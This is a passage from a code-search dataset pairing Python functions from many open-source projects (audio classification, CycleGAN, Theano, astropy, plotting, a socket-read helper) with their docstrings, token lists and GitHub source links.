":", "pool", ".", "close", "(", ")", "pool", ".", "join", "(", ")", "return", "metrics" ]	https://github.com/molecularsets/moses/blob/7b8f83b21a9b7ded493349ec8ef292384ce2bb52/moses/metrics/metrics.py#L17-L146
researchmm/tasn	5dba8ccc096cedc63913730eeea14a9647911129	tasn-mxnet/benchmark/python/sparse/memory_benchmark.py	python	bench_dot	(lhs_row_dim, lhs_col_dim, rhs_col_dim, density, rhs_density, dot_func, trans_lhs, lhs_stype, rhs_stype, only_storage, distribution="uniform")		Benchmarking both storage and dot	Benchmarking both storage and dot	[ "Benchmarking", "both", "storage", "and", "dot" ]	def bench_dot(lhs_row_dim, lhs_col_dim, rhs_col_dim, density, rhs_density, dot_func, trans_lhs, lhs_stype, rhs_stype, only_storage, distribution="uniform"): """ Benchmarking both storage and dot """ lhs_nd = rand_ndarray((lhs_row_dim, lhs_col_dim), lhs_stype, density, distribution=distribution) if not only_storage: rhs_nd = rand_ndarray((lhs_col_dim, rhs_col_dim), rhs_stype, density=rhs_density, distribution=distribution) out = dot_func(lhs_nd, rhs_nd, trans_lhs) mx.nd.waitall()	[ "def", "bench_dot", "(", "lhs_row_dim", ",", "lhs_col_dim", ",", "rhs_col_dim", ",", "density", ",", "rhs_density", ",", "dot_func", ",", "trans_lhs", ",", "lhs_stype", ",", "rhs_stype", ",", "only_storage", ",", "distribution", "=", "\"uniform\"", ")", ":", "lhs_nd", "=", "rand_ndarray", "(", "(", "lhs_row_dim", ",", "lhs_col_dim", ")", ",", "lhs_stype", ",", "density", ",", "distribution", "=", "distribution", ")", "if", "not", "only_storage", ":", "rhs_nd", "=", "rand_ndarray", "(", "(", "lhs_col_dim", ",", "rhs_col_dim", ")", ",", "rhs_stype", ",", "density", "=", "rhs_density", ",", "distribution", "=", "distribution", ")", "out", "=", "dot_func", "(", "lhs_nd", ",", "rhs_nd", ",", "trans_lhs", ")", "mx", ".", "nd", ".", "waitall", "(", ")" ]	https://github.com/researchmm/tasn/blob/5dba8ccc096cedc63913730eeea14a9647911129/tasn-mxnet/benchmark/python/sparse/memory_benchmark.py#L79-L89
Qirky/FoxDot	76318f9630bede48ff3994146ed644affa27bfa4	FoxDot/lib/SCLang/SynthDef.py	python	SynthDefBaseClass.get_base_class_variables	(self)	return "var {};".format(", ".join(self.var))			[]	def get_base_class_variables(self): return "var {};".format(", ".join(self.var))	[ "def", "get_base_class_variables", "(", "self", ")", ":", "return", "\"var {};\"", ".", "format", "(", "\", \"", ".", "join", "(", "self", ".", "var", ")", ")" ]	https://github.com/Qirky/FoxDot/blob/76318f9630bede48ff3994146ed644affa27bfa4/FoxDot/lib/SCLang/SynthDef.py#L183-L184
ctfs/write-ups-2014	b02bcbb2737907dd0aa39c5d4df1d1e270958f54	asis-ctf-finals-2014/xorqr/netcatlib/netcatlib.py	python	Netcat.read_some	(self, amount=1)	return buf	Read at least one byte of buffered data unless EOF is hit. Return '' if EOF is hit. Block if no data is immediately available.	Read at least one byte of buffered data unless EOF is hit.	[ "Read", "at", "least", "one", "byte", "of", "buffered", "data", "unless", "EOF", "is", "hit", "." ]	def read_some(self, amount=1): """Read at least one byte of buffered data unless EOF is hit. Return '' if EOF is hit. Block if no data is immediately available. """ while not self.buffer and len(self.buffer) < amount and not self.eof: self.recv_blocking() buf = self.buffer self.buffer = '' return buf	[ "def", "read_some", "(", "self", ",", "amount", "=", "1", ")", ":", "while", "not", "self", ".", "buffer", "and", "len", "(", "self", ".", "buffer", ")", "<", "amount", "and", "not", "self", ".", "eof", ":", "self", ".", "recv_blocking", "(", ")", "buf", "=", "self", ".", "buffer", "self", ".", "buffer", "=", "''", "return", "buf" ]	https://github.com/ctfs/write-ups-2014/blob/b02bcbb2737907dd0aa39c5d4df1d1e270958f54/asis-ctf-finals-2014/xorqr/netcatlib/netcatlib.py#L251-L262
NVIDIA/DeepLearningExamples	589604d49e016cd9ef4525f7abcc9c7b826cfc5e	TensorFlow/Detection/SSD/models/research/object_detection/metrics/coco_tools.py	python	COCOEvalWrapper.GetCategory	(self, category_id)	return self.cocoGt.cats[category_id]	Fetches dictionary holding category information given category id. Args: category_id: integer id Returns: dictionary holding 'id', 'name'.	Fetches dictionary holding category information given category id.	[ "Fetches", "dictionary", "holding", "category", "information", "given", "category", "id", "." ]	def GetCategory(self, category_id): """Fetches dictionary holding category information given category id. Args: category_id: integer id Returns: dictionary holding 'id', 'name'. """ return self.cocoGt.cats[category_id]	[ "def", "GetCategory", "(", "self", ",", "category_id", ")", ":", "return", "self", ".", "cocoGt", ".", "cats", "[", "category_id", "]" ]	https://github.com/NVIDIA/DeepLearningExamples/blob/589604d49e016cd9ef4525f7abcc9c7b826cfc5e/TensorFlow/Detection/SSD/models/research/object_detection/metrics/coco_tools.py#L175-L183
tyiannak/pyAudioAnalysis	979c8635e5b6292283b5ee050868d087a55c6371	pyAudioAnalysis/audioSegmentation.py	python	mid_term_file_classification	(input_file, model_name, model_type, plot_results=False, gt_file="")	return labels, class_names, accuracy, cm	This function performs mid-term classification of an audio stream. Towards this end, supervised knowledge is used, i.e. a pre-trained classifier. ARGUMENTS: - input_file: path of the input WAV file - model_name: name of the classification model - model_type: svm or knn depending on the classifier type - plot_results: True if results are to be plotted using matplotlib along with a set of statistics RETURNS: - segs: a sequence of segment's endpoints: segs[i] is the endpoint of the i-th segment (in seconds) - classes: a sequence of class flags: class[i] is the class ID of the i-th segment	This function performs mid-term classification of an audio stream. Towards this end, supervised knowledge is used, i.e. a pre-trained classifier. ARGUMENTS: - input_file: path of the input WAV file - model_name: name of the classification model - model_type: svm or knn depending on the classifier type - plot_results: True if results are to be plotted using matplotlib along with a set of statistics	[ "This", "function", "performs", "mid", "-", "term", "classification", "of", "an", "audio", "stream", ".", "Towards", "this", "end", "supervised", "knowledge", "is", "used", "i", ".", "e", ".", "a", "pre", "-", "trained", "classifier", ".", "ARGUMENTS", ":", "-", "input_file", ":", "path", "of", "the", "input", "WAV", "file", "-", "model_name", ":", "name", "of", "the", "classification", "model", "-", "model_type", ":", "svm", "or", "knn", "depending", "on", "the", "classifier", "type", "-", "plot_results", ":", "True", "if", "results", "are", "to", "be", "plotted", "using", "matplotlib", "along", "with", "a", "set", "of", "statistics" ]	def mid_term_file_classification(input_file, model_name, model_type, plot_results=False, gt_file=""): """ This function performs mid-term classification of an audio stream. Towards this end, supervised knowledge is used, i.e. a pre-trained classifier. ARGUMENTS: - input_file: path of the input WAV file - model_name: name of the classification model - model_type: svm or knn depending on the classifier type - plot_results: True if results are to be plotted using matplotlib along with a set of statistics RETURNS: - segs: a sequence of segment's endpoints: segs[i] is the endpoint of the i-th segment (in seconds) - classes: a sequence of class flags: class[i] is the class ID of the i-th segment """ labels = [] accuracy = 0.0 class_names = [] cm = np.array([]) if not os.path.isfile(model_name): print("mtFileClassificationError: input model_type not found!") return labels, class_names, accuracy, cm # Load classifier: if model_type == "knn": classifier, mean, std, class_names, mt_win, mid_step, st_win, \ st_step, compute_beat = at.load_model_knn(model_name) else: classifier, mean, std, class_names, mt_win, mid_step, st_win, \ st_step, compute_beat = at.load_model(model_name) if compute_beat: print("Model " + model_name + " contains long-term music features " "(beat etc) and cannot be used in " "segmentation") return labels, class_names, accuracy, cm # load input file sampling_rate, signal = audioBasicIO.read_audio_file(input_file) # could not read file if sampling_rate == 0: return labels, class_names, accuracy, cm # convert stereo (if) to mono signal = audioBasicIO.stereo_to_mono(signal) # mid-term feature extraction: mt_feats, _, _ = \ mtf.mid_feature_extraction(signal, sampling_rate, mt_win * sampling_rate, mid_step * sampling_rate, round(sampling_rate * st_win), round(sampling_rate * st_step)) posterior_matrix = [] # for each feature vector (i.e. for each fix-sized segment): for col_index in range(mt_feats.shape[1]): # normalize current feature v feature_vector = (mt_feats[:, col_index] - mean) / std # classify vector: label_predicted, posterior = \ at.classifier_wrapper(classifier, model_type, feature_vector) labels.append(label_predicted) # update probability matrix posterior_matrix.append(np.max(posterior)) labels = np.array(labels) # convert fix-sized flags to segments and classes segs, classes = labels_to_segments(labels, mid_step) segs[-1] = len(signal) / float(sampling_rate) # Load grount-truth: labels_gt, class_names_gt, accuracy, cm = \ load_ground_truth(gt_file, labels, class_names, mid_step, plot_results) return labels, class_names, accuracy, cm	[ "def", "mid_term_file_classification", "(", "input_file", ",", "model_name", ",", "model_type", ",", "plot_results", "=", "False", ",", "gt_file", "=", "\"\"", ")", ":", "labels", "=", "[", "]", "accuracy", "=", "0.0", "class_names", "=", "[", "]", "cm", "=", "np", ".", "array", "(", "[", "]", ")", "if", "not", "os", ".", "path", ".", "isfile", "(", "model_name", ")", ":", "print", "(", "\"mtFileClassificationError: input model_type not found!\"", ")", "return", "labels", ",", "class_names", ",", "accuracy", ",", "cm", "# Load classifier:", "if", "model_type", "==", "\"knn\"", ":", "classifier", ",", "mean", ",", "std", ",", "class_names", ",", "mt_win", ",", "mid_step", ",", "st_win", ",", "st_step", ",", "compute_beat", "=", "at", ".", "load_model_knn", "(", "model_name", ")", "else", ":", "classifier", ",", "mean", ",", "std", ",", "class_names", ",", "mt_win", ",", "mid_step", ",", "st_win", ",", "st_step", ",", "compute_beat", "=", "at", ".", "load_model", "(", "model_name", ")", "if", "compute_beat", ":", "print", "(", "\"Model \"", "+", "model_name", "+", "\" contains long-term music features \"", "\"(beat etc) and cannot be used in \"", "\"segmentation\"", ")", "return", "labels", ",", "class_names", ",", "accuracy", ",", "cm", "# load input file", "sampling_rate", ",", "signal", "=", "audioBasicIO", ".", "read_audio_file", "(", "input_file", ")", "# could not read file", "if", "sampling_rate", "==", "0", ":", "return", "labels", ",", "class_names", ",", "accuracy", ",", "cm", "# convert stereo (if) to mono", "signal", "=", "audioBasicIO", ".", "stereo_to_mono", "(", "signal", ")", "# mid-term feature extraction:", "mt_feats", ",", "_", ",", "_", "=", "mtf", ".", "mid_feature_extraction", "(", "signal", ",", "sampling_rate", ",", "mt_win", "", "sampling_rate", ",", "mid_step", "", "sampling_rate", ",", "round", "(", "sampling_rate", "", "st_win", ")", ",", "round", "(", "sampling_rate", "", "st_step", ")", ")", "posterior_matrix", "=", "[", "]", "# for each feature vector (i.e. for each fix-sized segment):", "for", "col_index", "in", "range", "(", "mt_feats", ".", "shape", "[", "1", "]", ")", ":", "# normalize current feature v", "feature_vector", "=", "(", "mt_feats", "[", ":", ",", "col_index", "]", "-", "mean", ")", "/", "std", "# classify vector:", "label_predicted", ",", "posterior", "=", "at", ".", "classifier_wrapper", "(", "classifier", ",", "model_type", ",", "feature_vector", ")", "labels", ".", "append", "(", "label_predicted", ")", "# update probability matrix", "posterior_matrix", ".", "append", "(", "np", ".", "max", "(", "posterior", ")", ")", "labels", "=", "np", ".", "array", "(", "labels", ")", "# convert fix-sized flags to segments and classes", "segs", ",", "classes", "=", "labels_to_segments", "(", "labels", ",", "mid_step", ")", "segs", "[", "-", "1", "]", "=", "len", "(", "signal", ")", "/", "float", "(", "sampling_rate", ")", "# Load grount-truth:", "labels_gt", ",", "class_names_gt", ",", "accuracy", ",", "cm", "=", "load_ground_truth", "(", "gt_file", ",", "labels", ",", "class_names", ",", "mid_step", ",", "plot_results", ")", "return", "labels", ",", "class_names", ",", "accuracy", ",", "cm" ]	https://github.com/tyiannak/pyAudioAnalysis/blob/979c8635e5b6292283b5ee050868d087a55c6371/pyAudioAnalysis/audioSegmentation.py#L518-L597
mkusner/grammarVAE	ffffe272a8cf1772578dfc92254c55c224cddc02	Theano-master/theano/tensor/opt.py	python	local_add_mul_fusion	(node)		Fuse consecutive add or mul in one such node with more inputs. It is better to fuse add/mul that way then in a Composite node as this make the inner graph of the Compiste smaller. This allow to put more computation in a Composite before hitting the max recusion limit when pickling Composite.	Fuse consecutive add or mul in one such node with more inputs.	[ "Fuse", "consecutive", "add", "or", "mul", "in", "one", "such", "node", "with", "more", "inputs", "." ]	def local_add_mul_fusion(node): """Fuse consecutive add or mul in one such node with more inputs. It is better to fuse add/mul that way then in a Composite node as this make the inner graph of the Compiste smaller. This allow to put more computation in a Composite before hitting the max recusion limit when pickling Composite. """ if (not isinstance(node.op, Elemwise) or not isinstance(node.op.scalar_op, (scalar.Add, scalar.Mul))): return False s_op = node.op.scalar_op.__class__ for inp in node.inputs: if (inp.owner and isinstance(inp.owner.op, Elemwise) and isinstance(inp.owner.op.scalar_op, s_op)): l = list(node.inputs) l.remove(inp) output_node = node.op(*(l + inp.owner.inputs)) copy_stack_trace(node.outputs[0], output_node) return [output_node]	[ "def", "local_add_mul_fusion", "(", "node", ")", ":", "if", "(", "not", "isinstance", "(", "node", ".", "op", ",", "Elemwise", ")", "or", "not", "isinstance", "(", "node", ".", "op", ".", "scalar_op", ",", "(", "scalar", ".", "Add", ",", "scalar", ".", "Mul", ")", ")", ")", ":", "return", "False", "s_op", "=", "node", ".", "op", ".", "scalar_op", ".", "__class__", "for", "inp", "in", "node", ".", "inputs", ":", "if", "(", "inp", ".", "owner", "and", "isinstance", "(", "inp", ".", "owner", ".", "op", ",", "Elemwise", ")", "and", "isinstance", "(", "inp", ".", "owner", ".", "op", ".", "scalar_op", ",", "s_op", ")", ")", ":", "l", "=", "list", "(", "node", ".", "inputs", ")", "l", ".", "remove", "(", "inp", ")", "output_node", "=", "node", ".", "op", "(", "*", "(", "l", "+", "inp", ".", "owner", ".", "inputs", ")", ")", "copy_stack_trace", "(", "node", ".", "outputs", "[", "0", "]", ",", "output_node", ")", "return", "[", "output_node", "]" ]	https://github.com/mkusner/grammarVAE/blob/ffffe272a8cf1772578dfc92254c55c224cddc02/Theano-master/theano/tensor/opt.py#L6745-L6768
FriedAppleTeam/FRAPL	89c14d57e0cc77b915fe1e95f60e9e1847699103	Framework/FridaLink/FridaLink/Core/MemoryEngine.py	python	MemoryEngineProtocol.generateMemoryID	(self, address)	return mem_id			[]	def generateMemoryID(self, address): idx = 0 mem_id = "0x%X_%d" % (address, idx) while mem_id in self.memoryMap: idx += 1 mem_id = "0x%X_%d" % (address, idx) return mem_id	[ "def", "generateMemoryID", "(", "self", ",", "address", ")", ":", "idx", "=", "0", "mem_id", "=", "\"0x%X_%d\"", "%", "(", "address", ",", "idx", ")", "while", "mem_id", "in", "self", ".", "memoryMap", ":", "idx", "+=", "1", "mem_id", "=", "\"0x%X_%d\"", "%", "(", "address", ",", "idx", ")", "return", "mem_id" ]	https://github.com/FriedAppleTeam/FRAPL/blob/89c14d57e0cc77b915fe1e95f60e9e1847699103/Framework/FridaLink/FridaLink/Core/MemoryEngine.py#L73-L79
AppScale/gts	46f909cf5dc5ba81faf9d81dc9af598dcf8a82a9	AppServer/google/appengine/ext/mapreduce/model.py	python	MapperSpec.__init__	(self, handler_spec, input_reader_spec, params, shard_count, output_writer_spec=None)		Creates a new MapperSpec. Args: handler_spec: handler specification as string (see class doc for details). input_reader_spec: The class name of the input reader to use. params: Dictionary of additional parameters for the mapper. shard_count: number of shards to process in parallel. Properties: handler_spec: name of handler class/function to use. input_reader_spec: The class name of the input reader to use. params: Dictionary of additional parameters for the mapper. shard_count: number of shards to process in parallel. output_writer_spec: The class name of the output writer to use.	Creates a new MapperSpec.	[ "Creates", "a", "new", "MapperSpec", "." ]	def __init__(self, handler_spec, input_reader_spec, params, shard_count, output_writer_spec=None): """Creates a new MapperSpec. Args: handler_spec: handler specification as string (see class doc for details). input_reader_spec: The class name of the input reader to use. params: Dictionary of additional parameters for the mapper. shard_count: number of shards to process in parallel. Properties: handler_spec: name of handler class/function to use. input_reader_spec: The class name of the input reader to use. params: Dictionary of additional parameters for the mapper. shard_count: number of shards to process in parallel. output_writer_spec: The class name of the output writer to use. """ self.handler_spec = handler_spec self.input_reader_spec = input_reader_spec self.output_writer_spec = output_writer_spec self.shard_count = int(shard_count) self.params = params	[ "def", "__init__", "(", "self", ",", "handler_spec", ",", "input_reader_spec", ",", "params", ",", "shard_count", ",", "output_writer_spec", "=", "None", ")", ":", "self", ".", "handler_spec", "=", "handler_spec", "self", ".", "input_reader_spec", "=", "input_reader_spec", "self", ".", "output_writer_spec", "=", "output_writer_spec", "self", ".", "shard_count", "=", "int", "(", "shard_count", ")", "self", ".", "params", "=", "params" ]	https://github.com/AppScale/gts/blob/46f909cf5dc5ba81faf9d81dc9af598dcf8a82a9/AppServer/google/appengine/ext/mapreduce/model.py#L375-L401
quodlibet/quodlibet	e3099c89f7aa6524380795d325cc14630031886c	quodlibet/qltk/songmodel.py	python	PlaylistMux.unqueue	(self, songs)		Remove all occurrences of all passed songs in the queue	Remove all occurrences of all passed songs in the queue	[ "Remove", "all", "occurrences", "of", "all", "passed", "songs", "in", "the", "queue" ]	def unqueue(self, songs): """Remove all occurrences of all passed songs in the queue""" q = self.q for iter_ in q.find_all(songs): q.remove(iter_)	[ "def", "unqueue", "(", "self", ",", "songs", ")", ":", "q", "=", "self", ".", "q", "for", "iter_", "in", "q", ".", "find_all", "(", "songs", ")", ":", "q", ".", "remove", "(", "iter_", ")" ]	https://github.com/quodlibet/quodlibet/blob/e3099c89f7aa6524380795d325cc14630031886c/quodlibet/qltk/songmodel.py#L139-L144
yt-project/yt	dc7b24f9b266703db4c843e329c6c8644d47b824	yt/visualization/plot_container.py	python	PlotContainer.get_log	(self, field)	return log	get the transform type of a field. Parameters ---------- field : string the field to get a transform if field == 'all', applies to all plots.	get the transform type of a field.	[ "get", "the", "transform", "type", "of", "a", "field", "." ]	def get_log(self, field): """get the transform type of a field. Parameters ---------- field : string the field to get a transform if field == 'all', applies to all plots. """ # devnote : accepts_all_fields decorator is not applicable here because # the return variable isn't self log = {} if field == "all": fields = list(self.plots.keys()) else: fields = field for field in self.data_source._determine_fields(fields): log[field] = self._field_transform[field] == log_transform return log	[ "def", "get_log", "(", "self", ",", "field", ")", ":", "# devnote : accepts_all_fields decorator is not applicable here because", "# the return variable isn't self", "log", "=", "{", "}", "if", "field", "==", "\"all\"", ":", "fields", "=", "list", "(", "self", ".", "plots", ".", "keys", "(", ")", ")", "else", ":", "fields", "=", "field", "for", "field", "in", "self", ".", "data_source", ".", "_determine_fields", "(", "fields", ")", ":", "log", "[", "field", "]", "=", "self", ".", "_field_transform", "[", "field", "]", "==", "log_transform", "return", "log" ]	https://github.com/yt-project/yt/blob/dc7b24f9b266703db4c843e329c6c8644d47b824/yt/visualization/plot_container.py#L316-L335
LeGoffLoic/Nodz	0ee255c62883f7a374a9de6cbcf555e3352e5dec	nodz_main.py	python	SlotItem.paint	(self, painter, option, widget)		Paint the Slot.	Paint the Slot.	[ "Paint", "the", "Slot", "." ]	def paint(self, painter, option, widget): """ Paint the Slot. """ painter.setBrush(self.brush) painter.setPen(self.pen) nodzInst = self.scene().views()[0] config = nodzInst.config if nodzInst.drawingConnection: if self.parentItem() == nodzInst.currentHoveredNode: painter.setBrush(utils._convertDataToColor(config['non_connectable_color'])) if (self.slotType == nodzInst.sourceSlot.slotType or (self.slotType != nodzInst.sourceSlot.slotType and self.dataType != nodzInst.sourceSlot.dataType)): painter.setBrush(utils._convertDataToColor(config['non_connectable_color'])) else: _penValid = QtGui.QPen() _penValid.setStyle(QtCore.Qt.SolidLine) _penValid.setWidth(2) _penValid.setColor(QtGui.QColor(255, 255, 255, 255)) painter.setPen(_penValid) painter.setBrush(self.brush) painter.drawEllipse(self.boundingRect())	[ "def", "paint", "(", "self", ",", "painter", ",", "option", ",", "widget", ")", ":", "painter", ".", "setBrush", "(", "self", ".", "brush", ")", "painter", ".", "setPen", "(", "self", ".", "pen", ")", "nodzInst", "=", "self", ".", "scene", "(", ")", ".", "views", "(", ")", "[", "0", "]", "config", "=", "nodzInst", ".", "config", "if", "nodzInst", ".", "drawingConnection", ":", "if", "self", ".", "parentItem", "(", ")", "==", "nodzInst", ".", "currentHoveredNode", ":", "painter", ".", "setBrush", "(", "utils", ".", "_convertDataToColor", "(", "config", "[", "'non_connectable_color'", "]", ")", ")", "if", "(", "self", ".", "slotType", "==", "nodzInst", ".", "sourceSlot", ".", "slotType", "or", "(", "self", ".", "slotType", "!=", "nodzInst", ".", "sourceSlot", ".", "slotType", "and", "self", ".", "dataType", "!=", "nodzInst", ".", "sourceSlot", ".", "dataType", ")", ")", ":", "painter", ".", "setBrush", "(", "utils", ".", "_convertDataToColor", "(", "config", "[", "'non_connectable_color'", "]", ")", ")", "else", ":", "_penValid", "=", "QtGui", ".", "QPen", "(", ")", "_penValid", ".", "setStyle", "(", "QtCore", ".", "Qt", ".", "SolidLine", ")", "_penValid", ".", "setWidth", "(", "2", ")", "_penValid", ".", "setColor", "(", "QtGui", ".", "QColor", "(", "255", ",", "255", ",", "255", ",", "255", ")", ")", "painter", ".", "setPen", "(", "_penValid", ")", "painter", ".", "setBrush", "(", "self", ".", "brush", ")", "painter", ".", "drawEllipse", "(", "self", ".", "boundingRect", "(", ")", ")" ]	https://github.com/LeGoffLoic/Nodz/blob/0ee255c62883f7a374a9de6cbcf555e3352e5dec/nodz_main.py#L1672-L1695
wistbean/learn_python3_spider	73c873f4845f4385f097e5057407d03dd37a117b	stackoverflow/venv/lib/python3.6/site-packages/attr/_funcs.py	python	has	(cls)	return getattr(cls, "__attrs_attrs__", None) is not None	Check whether cls is a class with ``attrs`` attributes. :param type cls: Class to introspect. :raise TypeError: If cls is not a class. :rtype: bool	Check whether cls is a class with ``attrs`` attributes.	[ "Check", "whether", "", "cls", "", "is", "a", "class", "with", "attrs", "attributes", "." ]	def has(cls): """ Check whether cls is a class with ``attrs`` attributes. :param type cls: Class to introspect. :raise TypeError: If cls is not a class. :rtype: bool """ return getattr(cls, "__attrs_attrs__", None) is not None	[ "def", "has", "(", "cls", ")", ":", "return", "getattr", "(", "cls", ",", "\"__attrs_attrs__\"", ",", "None", ")", "is", "not", "None" ]	https://github.com/wistbean/learn_python3_spider/blob/73c873f4845f4385f097e5057407d03dd37a117b/stackoverflow/venv/lib/python3.6/site-packages/attr/_funcs.py#L215-L224
holzschu/Carnets	44effb10ddfc6aa5c8b0687582a724ba82c6b547	Library/lib/python3.7/site-packages/astropy-4.0-py3.7-macosx-10.9-x86_64.egg/astropy/utils/iers/iers.py	python	LeapSeconds.from_erfa	(cls, built_in=False)		Create table from the leap-second list in ERFA. Parameters ---------- built_in : bool If `False` (default), retrieve the list currently used by ERFA, which may have been updated. If `True`, retrieve the list shipped with erfa.	Create table from the leap-second list in ERFA.	[ "Create", "table", "from", "the", "leap", "-", "second", "list", "in", "ERFA", "." ]	def from_erfa(cls, built_in=False): """Create table from the leap-second list in ERFA. Parameters ---------- built_in : bool If `False` (default), retrieve the list currently used by ERFA, which may have been updated. If `True`, retrieve the list shipped with erfa. """ current = cls(erfa.leap_seconds.get()) current._expires = Time('{0.year:04d}-{0.month:02d}-{0.day:02d}' .format(erfa.leap_seconds.expires), scale='tai') if not built_in: return current try: erfa.leap_seconds.set(None) # reset to defaults return cls.from_erfa(built_in=False) finally: erfa.leap_seconds.set(current)	[ "def", "from_erfa", "(", "cls", ",", "built_in", "=", "False", ")", ":", "current", "=", "cls", "(", "erfa", ".", "leap_seconds", ".", "get", "(", ")", ")", "current", ".", "_expires", "=", "Time", "(", "'{0.year:04d}-{0.month:02d}-{0.day:02d}'", ".", "format", "(", "erfa", ".", "leap_seconds", ".", "expires", ")", ",", "scale", "=", "'tai'", ")", "if", "not", "built_in", ":", "return", "current", "try", ":", "erfa", ".", "leap_seconds", ".", "set", "(", "None", ")", "# reset to defaults", "return", "cls", ".", "from_erfa", "(", "built_in", "=", "False", ")", "finally", ":", "erfa", ".", "leap_seconds", ".", "set", "(", "current", ")" ]	https://github.com/holzschu/Carnets/blob/44effb10ddfc6aa5c8b0687582a724ba82c6b547/Library/lib/python3.7/site-packages/astropy-4.0-py3.7-macosx-10.9-x86_64.egg/astropy/utils/iers/iers.py#L1100-L1121
sangwoomo/instagan	f9c1d9c9b7d2c21491317921f24a5200a02a823d	models/cycle_gan_model.py	python	CycleGANModel.initialize	(self, opt)				[]	def initialize(self, opt): BaseModel.initialize(self, opt) # specify the training losses you want to print out. The program will call base_model.get_current_losses self.loss_names = ['D_A', 'G_A', 'cycle_A', 'idt_A', 'D_B', 'G_B', 'cycle_B', 'idt_B'] # specify the images you want to save/display. The program will call base_model.get_current_visuals visual_names_A = ['real_A', 'fake_B', 'rec_A'] visual_names_B = ['real_B', 'fake_A', 'rec_B'] if self.isTrain and self.opt.lambda_identity > 0.0: visual_names_A.append('idt_A') visual_names_B.append('idt_B') self.visual_names = visual_names_A + visual_names_B # specify the models you want to save to the disk. The program will call base_model.save_networks and base_model.load_networks if self.isTrain: self.model_names = ['G_A', 'G_B', 'D_A', 'D_B'] else: # during test time, only load Gs self.model_names = ['G_A', 'G_B'] # load/define networks # The naming conversion is different from those used in the paper # Code (paper): G_A (G), G_B (F), D_A (D_Y), D_B (D_X) self.netG_A = networks.define_G(opt.input_nc, opt.output_nc, opt.ngf, opt.netG, opt.norm, not opt.no_dropout, opt.init_type, opt.init_gain, self.gpu_ids) self.netG_B = networks.define_G(opt.output_nc, opt.input_nc, opt.ngf, opt.netG, opt.norm, not opt.no_dropout, opt.init_type, opt.init_gain, self.gpu_ids) if self.isTrain: use_sigmoid = opt.no_lsgan self.netD_A = networks.define_D(opt.output_nc, opt.ndf, opt.netD, opt.n_layers_D, opt.norm, use_sigmoid, opt.init_type, opt.init_gain, self.gpu_ids) self.netD_B = networks.define_D(opt.input_nc, opt.ndf, opt.netD, opt.n_layers_D, opt.norm, use_sigmoid, opt.init_type, opt.init_gain, self.gpu_ids) if self.isTrain: self.fake_A_pool = ImagePool(opt.pool_size) self.fake_B_pool = ImagePool(opt.pool_size) # define loss functions self.criterionGAN = networks.GANLoss(use_lsgan=not opt.no_lsgan).to(self.device) self.criterionCycle = torch.nn.L1Loss() self.criterionIdt = torch.nn.L1Loss() # initialize optimizers self.optimizer_G = torch.optim.Adam(itertools.chain(self.netG_A.parameters(), self.netG_B.parameters()), lr=opt.lr, betas=(opt.beta1, 0.999)) self.optimizer_D = torch.optim.Adam(itertools.chain(self.netD_A.parameters(), self.netD_B.parameters()), lr=opt.lr, betas=(opt.beta1, 0.999)) self.optimizers = [] self.optimizers.append(self.optimizer_G) self.optimizers.append(self.optimizer_D)	[ "def", "initialize", "(", "self", ",", "opt", ")", ":", "BaseModel", ".", "initialize", "(", "self", ",", "opt", ")", "# specify the training losses you want to print out. The program will call base_model.get_current_losses", "self", ".", "loss_names", "=", "[", "'D_A'", ",", "'G_A'", ",", "'cycle_A'", ",", "'idt_A'", ",", "'D_B'", ",", "'G_B'", ",", "'cycle_B'", ",", "'idt_B'", "]", "# specify the images you want to save/display. The program will call base_model.get_current_visuals", "visual_names_A", "=", "[", "'real_A'", ",", "'fake_B'", ",", "'rec_A'", "]", "visual_names_B", "=", "[", "'real_B'", ",", "'fake_A'", ",", "'rec_B'", "]", "if", "self", ".", "isTrain", "and", "self", ".", "opt", ".", "lambda_identity", ">", "0.0", ":", "visual_names_A", ".", "append", "(", "'idt_A'", ")", "visual_names_B", ".", "append", "(", "'idt_B'", ")", "self", ".", "visual_names", "=", "visual_names_A", "+", "visual_names_B", "# specify the models you want to save to the disk. The program will call base_model.save_networks and base_model.load_networks", "if", "self", ".", "isTrain", ":", "self", ".", "model_names", "=", "[", "'G_A'", ",", "'G_B'", ",", "'D_A'", ",", "'D_B'", "]", "else", ":", "# during test time, only load Gs", "self", ".", "model_names", "=", "[", "'G_A'", ",", "'G_B'", "]", "# load/define networks", "# The naming conversion is different from those used in the paper", "# Code (paper): G_A (G), G_B (F), D_A (D_Y), D_B (D_X)", "self", ".", "netG_A", "=", "networks", ".", "define_G", "(", "opt", ".", "input_nc", ",", "opt", ".", "output_nc", ",", "opt", ".", "ngf", ",", "opt", ".", "netG", ",", "opt", ".", "norm", ",", "not", "opt", ".", "no_dropout", ",", "opt", ".", "init_type", ",", "opt", ".", "init_gain", ",", "self", ".", "gpu_ids", ")", "self", ".", "netG_B", "=", "networks", ".", "define_G", "(", "opt", ".", "output_nc", ",", "opt", ".", "input_nc", ",", "opt", ".", "ngf", ",", "opt", ".", "netG", ",", "opt", ".", "norm", ",", "not", "opt", ".", "no_dropout", ",", "opt", ".", "init_type", ",", "opt", ".", "init_gain", ",", "self", ".", "gpu_ids", ")", "if", "self", ".", "isTrain", ":", "use_sigmoid", "=", "opt", ".", "no_lsgan", "self", ".", "netD_A", "=", "networks", ".", "define_D", "(", "opt", ".", "output_nc", ",", "opt", ".", "ndf", ",", "opt", ".", "netD", ",", "opt", ".", "n_layers_D", ",", "opt", ".", "norm", ",", "use_sigmoid", ",", "opt", ".", "init_type", ",", "opt", ".", "init_gain", ",", "self", ".", "gpu_ids", ")", "self", ".", "netD_B", "=", "networks", ".", "define_D", "(", "opt", ".", "input_nc", ",", "opt", ".", "ndf", ",", "opt", ".", "netD", ",", "opt", ".", "n_layers_D", ",", "opt", ".", "norm", ",", "use_sigmoid", ",", "opt", ".", "init_type", ",", "opt", ".", "init_gain", ",", "self", ".", "gpu_ids", ")", "if", "self", ".", "isTrain", ":", "self", ".", "fake_A_pool", "=", "ImagePool", "(", "opt", ".", "pool_size", ")", "self", ".", "fake_B_pool", "=", "ImagePool", "(", "opt", ".", "pool_size", ")", "# define loss functions", "self", ".", "criterionGAN", "=", "networks", ".", "GANLoss", "(", "use_lsgan", "=", "not", "opt", ".", "no_lsgan", ")", ".", "to", "(", "self", ".", "device", ")", "self", ".", "criterionCycle", "=", "torch", ".", "nn", ".", "L1Loss", "(", ")", "self", ".", "criterionIdt", "=", "torch", ".", "nn", ".", "L1Loss", "(", ")", "# initialize optimizers", "self", ".", "optimizer_G", "=", "torch", ".", "optim", ".", "Adam", "(", "itertools", ".", "chain", "(", "self", ".", "netG_A", ".", "parameters", "(", ")", ",", "self", ".", "netG_B", ".", "parameters", "(", ")", ")", 